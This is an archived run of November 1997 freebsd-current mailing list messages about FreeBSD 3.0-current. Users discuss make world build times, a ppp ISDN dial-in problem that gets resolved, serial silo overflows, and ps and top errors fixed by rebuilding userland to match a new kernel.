Fri, 7 Nov 1997 16:17:03 -0800 (PST) (envelope-from scottm@mordred.cs.ucla.edu) Received: (qmail 5539 invoked from network); 8 Nov 1997 00:16:45 -0000 Received: from mordred.cs.ucla.edu (131.179.48.34) by taliesin.cs.ucla.edu with SMTP; 8 Nov 1997 00:16:45 -0000 Received: from mordred (localhost [127.0.0.1]) by mordred.cs.ucla.edu (8.8.7/8.8.7) with ESMTP id QAA10009 for ; Fri, 7 Nov 1997 16:16:46 -0800 (PST) (envelope-from scottm@mordred.cs.ucla.edu) Message-Id: <199711080016.QAA10009@mordred.cs.ucla.edu> X-Mailer: exmh version 2.0zeta 7/24/97 X-Exmh-Isig-CompType: comp X-Exmh-Isig-Folder: inbox To: freebsd-current@freebsd.org Subject: Working 3.0-current Mime-Version: 1.0 Content-Type: text/plain Date: Fri, 07 Nov 1997 16:16:45 -0800 From: Scott Michel Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Snapshot as of last night works, and appears stable (no compiler crashes in 'make world'), and no strange panics due to bogoned LKMs. Now off to figure out what causes: Nov 7 15:10:51 mordred /kernel: nfs_bioread: non vmio buf found, discarding Nov 7 15:10:51 mordred /kernel: nfs_bioread: non vmio buf found, discarding -scooter From owner-freebsd-current Sat Nov 8 01:45:17 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA27095 for current-outgoing; Sat, 8 Nov 1997 01:45:17 -0800 (PST) (envelope-from owner-freebsd-current) Received: from rah.star-gate.com (rah.star-gate.com [204.188.121.18]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id BAA27089 for ; Sat, 8 Nov 1997 01:45:13 -0800 (PST) (envelope-from hasty@rah.star-gate.com) Received: from rah.star-gate.com (localhost.v-site.net [127.0.0.1]) by rah.star-gate.com (8.8.7/8.8.5) with ESMTP id BAA27001; Sat, 8 Nov 1997 01:45:03 -0800 (PST) Message-Id: <199711080945.BAA27001@rah.star-gate.com> X-Mailer: exmh version 2.0gamma 1/27/96 To: Ollivier Robert cc: freebsd-current@FreeBSD.ORG Subject: Re: Make World Times In-reply-to: Your message of "Wed, 05 Nov 1997 23:27:50 +0100." <19971105232750.42817@keltia.freenix.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 08 Nov 1997 01:45:03 -0800 From: Amancio Hasty Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > According to Mark Mayo: > > If these make world time keep coming down, I predict I'll have it in > > my crontab by the end of the year! ;-) > > With NOCLEAN, I'm generally under 1 hour of "make world" (about 40 mn > usually). K6-210, 64 MB, 1 DCAS 34330W (/usr/src, async, noatime), 1 DORS > 32160 (/usr/obj, async, noatime), "-O -pipe", NOPROFILE, NOTCL. > > -- > Ollivier ROBERT -=- FreeBSD: There are no limits -=- roberto@keltia.freenix.fr > FreeBSD keltia.freenix.fr 3.0-CURRENT #46: Sun Nov 2 16:51:01 CET 1997 Same options as Olliver's make world. I get about 53:22 with my PPRO 200Mhz 48MB, Seagate Cheetah 4.3GB (wide version). Will try to overclock my CPU to 233 to see if I can get closer to Olliver's worldstone 8) Cheers, Amancio From owner-freebsd-current Sat Nov 8 04:39:21 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id EAA06048 for current-outgoing; Sat, 8 Nov 1997 04:39:21 -0800 (PST) (envelope-from owner-freebsd-current) Received: from haldjas.folklore.ee (Haldjas.folklore.ee [193.40.6.121]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id EAA06036 for ; Sat, 8 Nov 1997 04:39:17 -0800 (PST) (envelope-from narvi@haldjas.folklore.ee) Received: from haldjas.folklore.ee (haldjas.folklore.ee [172.17.2.1] (may be forged)) by haldjas.folklore.ee (8.8.7/8.8.4) with SMTP id OAA18715; Sat, 8 Nov 1997 14:39:05 +0200 (EET) Date: Sat, 8 Nov 1997 14:39:04 +0200 (EET) From: Narvi To: Scott Michel cc: freebsd-current@FreeBSD.ORG Subject: Re: Working 3.0-current In-Reply-To: <199711080016.QAA10009@mordred.cs.ucla.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Fri, 7 Nov 1997, Scott Michel wrote: > Snapshot as of last night works, and appears stable (no compiler > crashes in 'make world'), and no strange panics due to bogoned > LKMs. > > Now off to figure out what causes: > > Nov 7 15:10:51 mordred /kernel: nfs_bioread: non vmio buf found, discarding > Nov 7 15:10:51 mordred /kernel: nfs_bioread: non vmio buf found, discarding > > It also appeares with -stable. It is said to be harmless. > > -scooter > Sander There is no love, no good, no happiness and no future - all these are just illusions. From owner-freebsd-current Sat Nov 8 09:24:03 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA14594 for current-outgoing; Sat, 8 Nov 1997 09:24:03 -0800 (PST) (envelope-from owner-freebsd-current) Received: from plaut.de (ns.plaut.de [194.39.177.166]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id JAA14580 for ; Sat, 8 Nov 1997 09:23:55 -0800 (PST) (envelope-from root@totum.plaut.de) Received: from totum.plaut.de (totum.plaut.de [194.39.177.9]) by plaut.de (8.6.12/8.6.12) with ESMTP id SAA03685 for ; Sat, 8 Nov 1997 18:23:46 +0100 Received: from localhost (root@localhost) by totum.plaut.de (8.8.7/8.7.3) with SMTP id SAA12292 for ; Sat, 8 Nov 1997 18:23:46 +0100 (MET) Date: Sat, 8 Nov 1997 18:23:46 +0100 (MET) From: Michael Reifenberger Reply-To: Michael Reifenberger To: FreeBSD-Current Subject: Probs with PPP(ISDN) Zyxel->Ascend under -current Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi, after upgrading my Laptop to -current I can't dialin into a ASCEND-400 using iijppp. It worked with 2.2.2, win95 also. Ascend firmware is +5.0Ap16+ The ascendlog states: ... Acct-Authentic = Local Ascend-Disconnect-Cause = 65 Ascend-Connect-Progress = 42 ... It is strange, that I don't see my User-Name, only my Caller-ID. /var/log/ppp.log shows: Nov 8 18:08:12 nihil ppp[250]: LCP: State change Initial --> Closed Nov 8 18:08:12 nihil ppp[250]: LCP: LcpSendConfigReq Nov 8 18:08:12 nihil ppp[250]: LCP: ACFCOMP Nov 8 18:08:12 nihil ppp[250]: LCP: PROTOCOMP Nov 8 18:08:12 nihil ppp[250]: LCP: ACCMAP [6] 00000000 Nov 8 18:08:12 nihil ppp[250]: LCP: MRU [4] 1500 Nov 8 18:08:12 nihil ppp[250]: LCP: MAGICNUM [6] 043ac58c Nov 8 18:08:12 nihil ppp[250]: LCP: AUTHPROTO [5] 49699 Nov 8 18:08:12 nihil ppp[250]: LCP: State change Closed --> Req-Sent Nov 8 18:08:15 nihil ppp[250]: LCP: LcpSendConfigReq Nov 8 18:08:15 nihil ppp[250]: LCP: ACFCOMP Nov 8 18:08:15 nihil ppp[250]: LCP: PROTOCOMP Nov 8 18:08:15 nihil ppp[250]: LCP: ACCMAP [6] 00000000 Nov 8 18:08:15 nihil ppp[250]: LCP: MRU [4] 1500 Nov 8 18:08:15 nihil ppp[250]: LCP: MAGICNUM [6] 043ac58c Nov 8 18:08:15 nihil ppp[250]: LCP: AUTHPROTO [5] 49699 Nov 8 18:08:18 nihil ppp[250]: LCP: LcpSendConfigReq Nov 8 18:08:18 nihil ppp[250]: LCP: ACFCOMP Nov 8 18:08:18 nihil ppp[250]: LCP: PROTOCOMP Nov 8 18:08:18 nihil ppp[250]: LCP: ACCMAP [6] 00000000 Nov 8 18:08:18 nihil ppp[250]: LCP: MRU [4] 1500 Nov 8 18:08:18 nihil ppp[250]: LCP: MAGICNUM [6] 043ac58c Nov 8 18:08:18 nihil ppp[250]: LCP: AUTHPROTO [5] 49699 Nov 8 18:08:21 nihil ppp[250]: LCP: LcpSendConfigReq Nov 8 18:08:21 nihil ppp[250]: LCP: ACFCOMP Nov 8 18:08:21 nihil ppp[250]: LCP: PROTOCOMP Nov 8 18:08:21 nihil ppp[250]: LCP: ACCMAP [6] 00000000 Nov 8 18:08:21 nihil ppp[250]: LCP: MRU [4] 1500 Nov 8 18:08:21 nihil ppp[250]: LCP: MAGICNUM [6] 043ac58c Nov 8 18:08:21 nihil ppp[250]: LCP: AUTHPROTO [5] 49699 Nov 8 18:08:24 nihil ppp[250]: LCP: LcpSendConfigReq Nov 8 18:08:24 nihil ppp[250]: LCP: ACFCOMP Nov 8 18:08:24 nihil ppp[250]: LCP: PROTOCOMP Nov 8 18:08:24 nihil ppp[250]: LCP: ACCMAP [6] 00000000 Nov 8 18:08:24 nihil ppp[250]: LCP: MRU [4] 1500 Nov 8 18:08:24 nihil ppp[250]: LCP: MAGICNUM [6] 043ac58c Nov 8 18:08:24 nihil ppp[250]: LCP: AUTHPROTO [5] 49699 Nov 8 18:08:27 nihil ppp[250]: LCP: State change Req-Sent --> Stopped Nov 8 18:08:27 nihil ppp[250]: LCP: LcpLayerFinish Nov 8 18:08:27 nihil ppp[250]: Phase: Connect time: 15 secs Nov 8 18:08:27 nihil ppp[250]: Phase: Modem: 2 octets in, 307 octets out Nov 8 18:08:27 nihil ppp[250]: Phase: NewPhase: Dead The ppp.conf is the same. (except the set log... line) I have no LQR/PRED1, openmode active, set authname/authkey, enable chap. Using -current ppp and the Zyxel to call into an DEC Terminalserver works as before under 2.2.2. Anyone any clues? Bye! ---- Michael Reifenberger Plaut Software GmbH, R/3 Basis From owner-freebsd-current Sat Nov 8 10:40:55 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id KAA17948 for current-outgoing; Sat, 8 Nov 1997 10:40:55 -0800 (PST) (envelope-from owner-freebsd-current) Received: from critter.freebsd.dk (critter.freebsd.dk [195.8.129.26]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id KAA17937 for ; Sat, 8 Nov 1997 10:40:52 -0800 (PST) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost.cybercity.dk [127.0.0.1]) by critter.freebsd.dk (8.8.7/8.8.7) with ESMTP id TAA07307; Sat, 8 Nov 1997 19:39:14 +0100 (CET) (envelope-from phk@critter.freebsd.dk) To: Narvi cc: Scott Michel , freebsd-current@FreeBSD.ORG Subject: Re: Working 3.0-current In-reply-to: Your message of "Sat, 08 Nov 1997 14:39:04 +0200." Date: Sat, 08 Nov 1997 19:39:13 +0100 Message-ID: <7305.879014353@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk In message , Narv i writes: >> Nov 7 15:10:51 mordred /kernel: nfs_bioread: non vmio buf found, discardi >ng >> Nov 7 15:10:51 mordred /kernel: nfs_bioread: non vmio buf found, discardi >ng > >It also appeares with -stable. It is said to be harmless. It is harmless as far as I know, but I'm trying to find out what this means and why it was put there... -- Poul-Henning Kamp FreeBSD coreteam member phk@FreeBSD.ORG "Real hackers run -current on their laptop." From owner-freebsd-current Sat Nov 8 12:56:23 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA23169 for current-outgoing; Sat, 8 Nov 1997 12:56:23 -0800 (PST) (envelope-from owner-freebsd-current) Received: from awfulhak.demon.co.uk (awfulhak.demon.co.uk [158.152.17.1]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id MAA23149 for ; Sat, 8 Nov 1997 12:56:09 -0800 (PST) (envelope-from brian@awfulhak.org) Received: from gate.lan.awfulhak.org (localhost [127.0.0.1]) by awfulhak.demon.co.uk (8.8.7/8.8.5) with ESMTP id UAA06900; Sat, 8 Nov 1997 20:20:07 GMT Message-Id: <199711082020.UAA06900@awfulhak.demon.co.uk> X-Mailer: exmh version 2.0zeta 7/24/97 To: Michael Reifenberger cc: FreeBSD-Current Subject: Re: Probs with PPP(ISDN) Zyxel->Ascend under -current In-reply-to: Your message of "Sat, 08 Nov 1997 18:23:46 +0100." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 08 Nov 1997 20:20:07 +0000 From: Brian Somers Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Hi, > after upgrading my Laptop to -current I can't dialin into a > ASCEND-400 using iijppp. It worked with 2.2.2, win95 also. > Ascend firmware is +5.0Ap16+ > The ascendlog states: > ... > Acct-Authentic = Local > Ascend-Disconnect-Cause = 65 > Ascend-Connect-Progress = 42 > ... > > It is strange, that I don't see my User-Name, only my Caller-ID. > > /var/log/ppp.log shows: [.....] > Nov 8 18:08:27 nihil ppp[250]: Phase: Modem: 2 octets in, 307 octets out > Nov 8 18:08:27 nihil ppp[250]: Phase: NewPhase: Dead Does changing your MRU to 1524 make a difference ? This stuff hasn't really changed, but technically, ppp shouldn't be trying to negotiate a MRU value that is the same as the default. The worrying bit is that the other side sent only 2 bytes. You could try enabling "Async" logging and seeing what those bytes are, but I don't know if it'll tell us much :-/ [.....] > ---- > Michael Reifenberger > Plaut Software GmbH, R/3 Basis > -- Brian , , Don't _EVER_ lose your sense of humour.... From owner-freebsd-current Sat Nov 8 14:21:43 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA27194 for current-outgoing; Sat, 8 Nov 1997 14:21:43 -0800 (PST) (envelope-from owner-freebsd-current) Received: from plaut.de (ns.plaut.de [194.39.177.166]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id OAA27172 for ; Sat, 8 Nov 1997 14:21:36 -0800 (PST) (envelope-from root@totum.plaut.de) Received: from totum.plaut.de (totum.plaut.de [194.39.177.9]) by plaut.de (8.6.12/8.6.12) with ESMTP id XAA04014; Sat, 8 Nov 1997 23:21:31 +0100 Received: from localhost (root@localhost) by totum.plaut.de (8.8.7/8.7.3) with SMTP id XAA12703; Sat, 8 Nov 1997 23:21:34 +0100 (MET) Date: Sat, 8 Nov 1997 23:21:33 +0100 (MET) From: Michael Reifenberger To: Brian Somers cc: FreeBSD-Current Subject: Re: Probs with PPP(ISDN) Zyxel->Ascend under -current In-Reply-To: <199711082020.UAA06900@awfulhak.demon.co.uk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sat, 8 Nov 1997, Brian Somers wrote: > Date: Sat, 08 Nov 1997 20:20:07 +0000 > From: Brian Somers > To: Michael Reifenberger > Cc: FreeBSD-Current > Subject: Re: Probs with PPP(ISDN) Zyxel->Ascend under -current > ... > [.....] > > Nov 8 18:08:27 nihil ppp[250]: Phase: Modem: 2 octets in, 307 octets out > > Nov 8 18:08:27 nihil ppp[250]: Phase: NewPhase: Dead > ... > The worrying bit is that the other side sent only 2 bytes. You could > try enabling "Async" logging and seeing what those bytes are, but I > don't know if it'll tell us much :-/ > Ok, the problem is solved. The problem was a interferrence from different symptoms. The DialScript buffer is too small for my (stolem from w95's) modemlog.txt so the Modem didn't dial at all (After adding some OK-AT-OK's for readability). So the 2 octets in :-) Now it seems that the ascend is refusing my PAP authentification. But CHAP failed because of a wrong ppp.secrets entry. After fixing the entry, CHAP works. Bye! ---- Michael Reifenberger Plaut Software GmbH, R/3 Basis From owner-freebsd-current Sat Nov 8 20:19:39 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id UAA12162 for current-outgoing; Sat, 8 Nov 1997 20:19:39 -0800 (PST) (envelope-from owner-freebsd-current) Received: from pooh.cdrom.com (pooh.cdrom.com [204.216.28.222]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id UAA12156 for ; Sat, 8 Nov 1997 20:19:35 -0800 (PST) (envelope-from murray@pooh.cdrom.com) Received: from localhost (murray@localhost) by pooh.cdrom.com (8.8.5/8.7.3) with SMTP id UAA05993 for ; Sat, 8 Nov 1997 20:17:55 -0800 (PST) Date: Sat, 8 Nov 1997 20:17:55 -0800 (PST) From: Murray Stokely To: freebsd-current@freebsd.org Subject: silo overflows? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk What do these error messages mean? sio1 is my modem to the outside world. I never used to get these with 2.2-stable. sio1: 1 more silo overflow (total 70) sio1: 1 more silo overflow (total 71) Murray Stokely From owner-freebsd-current Sat Nov 8 21:37:05 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id VAA15636 for current-outgoing; Sat, 8 Nov 1997 21:37:05 -0800 (PST) (envelope-from owner-freebsd-current) Received: from pooh.cdrom.com (pooh.cdrom.com [204.216.28.222]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id VAA15631 for ; Sat, 8 Nov 1997 21:36:59 -0800 (PST) (envelope-from murray@pooh.cdrom.com) Received: from localhost (murray@localhost) by pooh.cdrom.com (8.8.5/8.7.3) with SMTP id VAA06187 for ; Sat, 8 Nov 1997 21:35:19 -0800 (PST) Date: Sat, 8 Nov 1997 21:35:19 -0800 (PST) From: Murray Stokely To: freebsd-current@freebsd.org Subject: kernel memory errors? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I can't run 'top' or 'ps' since booting a new 3.0 kernel (cvsuped less than 24hrs ago). The system seems to be working fine, in that I'm in X and running Netscape now, but I get the following errors when I try to run two very important utilities... [pimp] /home/murray: top kvm_open: proc size mismatch (28552 total, 656 chunks) top: Out of memory. [pimp] /home/murray: ps ps: proc size mismatch (14608 total, 656 chunks) Murray Stokely From owner-freebsd-current Sat Nov 8 22:16:51 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA17628 for current-outgoing; Sat, 8 Nov 1997 22:16:51 -0800 (PST) (envelope-from owner-freebsd-current) Received: from dyson.iquest.net (dyson.iquest.net [198.70.144.127]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id WAA17621 for ; Sat, 8 Nov 1997 22:16:47 -0800 (PST) (envelope-from toor@dyson.iquest.net) Received: (from root@localhost) by dyson.iquest.net (8.8.7/8.8.5) id BAA03226; Sun, 9 Nov 1997 01:16:40 -0500 (EST) From: "John S. Dyson" Message-Id: <199711090616.BAA03226@dyson.iquest.net> Subject: Re: kernel memory errors? In-Reply-To: from Murray Stokely at "Nov 8, 97 09:35:19 pm" To: murray@cdrom.com (Murray Stokely) Date: Sun, 9 Nov 1997 01:16:40 -0500 (EST) Cc: freebsd-current@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Murray Stokely said: > I can't run 'top' or 'ps' since booting a new 3.0 kernel (cvsuped less > than 24hrs ago). The system seems to be working fine, in that I'm in > X and running Netscape now, but I get the following errors when I try > to run two very important utilities... > > [pimp] /home/murray: top > kvm_open: proc size mismatch (28552 total, 656 chunks) > top: Out of memory. > > [pimp] /home/murray: ps > ps: proc size mismatch (14608 total, 656 chunks) > In general, you cannot get by with just rebuilding a kernel. 1) Recompile/link/install libkvm 2) Recompile/link/install config 3) Recompile/install lkms 4) Recompile/link/install ps,w, and other processes that use lkm. -- John dyson@freebsd.org jdyson@nc.com From owner-freebsd-current Sat Nov 8 22:18:12 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA17692 for current-outgoing; Sat, 8 Nov 1997 22:18:12 -0800 (PST) (envelope-from owner-freebsd-current) Received: from schenectady.netmonger.net (schenectady.netmonger.net [209.54.21.143]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id WAA17684 for ; Sat, 8 Nov 1997 22:18:04 -0800 (PST) (envelope-from postmaster@schenectady.netmonger.net) Received: (from news@localhost) by schenectady.netmonger.net (8.8.5/8.8.5) id BAA22089 for freebsd-current@freebsd.org; Sun, 9 Nov 1997 01:12:25 -0500 (EST) Received: from GATEWAY by schenectady.netmonger.net with netnews for freebsd-current@freebsd.org (freebsd-current@freebsd.org) To: freebsd-current@freebsd.org Date: 9 Nov 1997 06:12:25 GMT From: chris@netmonger.net (Christopher Masto) Message-ID: <643k89$ks5$1@schenectady.netmonger.net> Organization: NetMonger Communications References: , <199711082020.UAA06900@awfulhak.demon.co.uk> Subject: Re: Probs with PPP(ISDN) Zyxel->Ascend under -current Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In article <199711082020.UAA06900@awfulhak.demon.co.uk>, Brian Somers wrote: >> Hi, >> after upgrading my Laptop to -current I can't dialin into a >> ASCEND-400 using iijppp. It worked with 2.2.2, win95 also. >> Ascend firmware is +5.0Ap16+ >> The ascendlog states: >> ... >> Acct-Authentic = Local >> Ascend-Disconnect-Cause = 65 >> Ascend-Connect-Progress = 42 >> ... >> >> It is strange, that I don't see my User-Name, only my Caller-ID. >> >> /var/log/ppp.log shows: >[.....] >> Nov 8 18:08:27 nihil ppp[250]: Phase: Modem: 2 octets in, 307 octets out >> Nov 8 18:08:27 nihil ppp[250]: Phase: NewPhase: Dead > >Does changing your MRU to 1524 make a difference ? This stuff hasn't >really changed, but technically, ppp shouldn't be trying to negotiate >a MRU value that is the same as the default. I noticed a similar problem when I went from 2.2 to CURRENT. "set mtu 1500" prevents ijppp from working. I hadn't investigated it in much detail; I had a bunch of other stuff to do, so I just stopped trying to set the MTU. Anyway, this was with a ZyXEL Elite 2864i (ISDN) calling a Livingston PM3. The symptom I noticed was that the TX/RX lights would flash continually, as if the negotiation were in some kind of loop. The reason for the 1500 MTU was to work around some bizzare problem that makes it impossible to access AltaVista with anything above 1500. -- = Christopher Masto = chris@netmonger.net = http://www.netmonger.net/ = = NetMonger Communications = finger for PGP key = $19.95/mo unlimited access = = Director of Operations = (516) 221-6664 = mailto:info@netmonger.net = From owner-freebsd-current Sat Nov 8 22:39:01 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA18471 for current-outgoing; Sat, 8 Nov 1997 22:39:01 -0800 (PST) (envelope-from owner-freebsd-current) Received: from picnic.mat.net (picnic.mat.net [206.246.122.117]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id WAA18465 for ; Sat, 8 Nov 1997 22:38:55 -0800 (PST) (envelope-from chuckr@glue.umd.edu) Received: from localhost (chuckr@localhost) by picnic.mat.net (8.8.7/8.8.5) with SMTP id AAA25896; Sun, 9 Nov 1997 00:36:04 -0500 (EST) X-Authentication-Warning: picnic.mat.net: chuckr owned process doing -bs Date: Sun, 9 Nov 1997 00:36:03 -0500 (EST) From: Chuck Robey X-Sender: chuckr@picnic.mat.net To: Murray Stokely cc: freebsd-current@FreeBSD.ORG Subject: Re: kernel memory errors? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sat, 8 Nov 1997, Murray Stokely wrote: > I can't run 'top' or 'ps' since booting a new 3.0 kernel (cvsuped less > than 24hrs ago). The system seems to be working fine, in that I'm in > X and running Netscape now, but I get the following errors when I try > to run two very important utilities... Evidently you're running current. The kernel has a direct interface to several programs, including ps, top, netstat, and others, and when the interface changes, you can't just build a new kernel, you have to build the entire world. Well, you can actually get away with rebuilding what breaks, though when you complain about things working wierdly, people will stop listening, because they know you aren't playing the game by the rules. They expect you're going to rebuild the world before you make a complaint. One other thing to note is that the interface between the kernel and the lkms is also very close, and if you upgrade your kernel without upgrading your lkms, and you load one, say goodnight, it's panic time. > > [pimp] Pimp? Really! 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